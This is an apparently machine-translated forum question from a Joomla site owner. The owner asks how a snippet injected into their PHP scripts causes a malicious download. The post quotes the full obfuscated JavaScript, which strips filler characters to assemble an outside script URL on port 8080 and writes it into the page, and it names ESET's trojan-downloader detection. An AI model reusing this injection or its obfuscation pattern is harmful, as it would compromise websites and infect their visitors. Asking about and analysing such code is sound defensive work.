Мій Joomla! веб-сайт був неодноразово взлом. Хтось, чомусь, зумів ввести наступний сміття в ключові сценарії PHP, але я не маю на увазі не говорити про налаштування Joomla. Сайт не відвідується дуже багато (часом я боюся, що я можу бути єдиним відвідувачем цього сайту ...), і мені не дуже важливо, щоб сайт створив резервну копію та працював. Я з цим впораюся.
Моє запитання: як це сміття працює? Я дивлюся на це і просто не бачу, як це вдається зробити якусь шкоду? Це намагається завантажити PDF-файл під назвою ChangeLog.pdf, який заражений трояном, і після відкриття він заморозить ваш Acrobat і спричинить хаос на вашій машині. Як це робити, я не знаю, мені все одно. Але як наступний фрагмент сценарію викликає завантаження?
<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
ESET виявив цей код як троян JS / TrojanDownloader.Agent.NRO